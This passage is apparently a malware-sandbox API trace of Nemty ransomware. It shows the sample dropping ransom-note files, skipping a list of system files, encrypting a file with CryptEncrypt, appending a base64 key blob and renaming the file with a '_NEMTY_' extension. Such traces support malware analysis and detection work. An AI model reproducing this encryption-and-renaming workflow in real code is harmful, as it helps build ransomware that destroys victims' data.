8 [0177.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0177.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0177.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0177.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0177.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.737] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.738] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0177.738] CloseHandle (hObject=0x2e8) returned 1 [0177.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0177.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0177.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0177.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0177.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.740] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.740] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0177.740] CloseHandle (hObject=0x2e8) returned 1 [0177.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0177.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.740] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d94d610, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d94d610, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0177.741] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0177.741] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d94d610, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d94d610, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.741] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0177.741] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0177.741] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9049, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0177.741] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0177.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0177.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0177.742] Sleep (dwMilliseconds=0x5) [0177.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d973770, dwHighDateTime=0x1d561e8)) [0177.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d973770, dwHighDateTime=0x1d561e8)) [0177.744] GetLastError () returned 0xb7 [0177.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.744] GetLastError () returned 0xb7 [0177.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.744] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0177.744] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0177.745] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0177.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0177.745] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="nKCew0t9IJ9qPa+WqFIujBI+cAwn4Of1Mtya+4OJcnfdwk1d9+3YKIGkglTwz8RD\r\n6gPZr8ttBXgWffx14wJncO/tjqmYOhf5+NxaSuA174jG6+IYnMI6BobUx6oepegK\r\n+xm45MROPlCiAJseTIbqdmbY8P+XEdiFqU426EIgq8FGFkr37ZyDaYyYHwavnbsK\r\nKdIK56kIHRcOB/l/AcmKpIrrZwcBWTLdyWjCO8iOmomgw3WT4PLg5YiGBeUzb8JT\r\nNmVDq2aOzep0V+CR7cYe1ZLyWUzV2cwHDCdgI6YpiKONC6srX//zWK3Zx0GogfRB\r\npyI+x3KWc6q2k/r6TqwaFw==\r\n", pcchString=0x653e29c) returned 1 [0177.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0177.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0177.746] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=36937) returned 1 [0177.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9040) returned 0x6352c48 [0177.746] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.746] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9040, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x9040, lpOverlapped=0x0) returned 1 [0177.753] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.753] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9040, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x9040, lpOverlapped=0x0) returned 1 [0177.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.753] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=36937, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9049 [0177.753] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0177.754] CloseHandle (hObject=0x2f0) returned 1 [0177.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0177.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0177.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0177.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0177.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.754] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0177.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0177.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0177.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.755] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0177.755] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0177.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 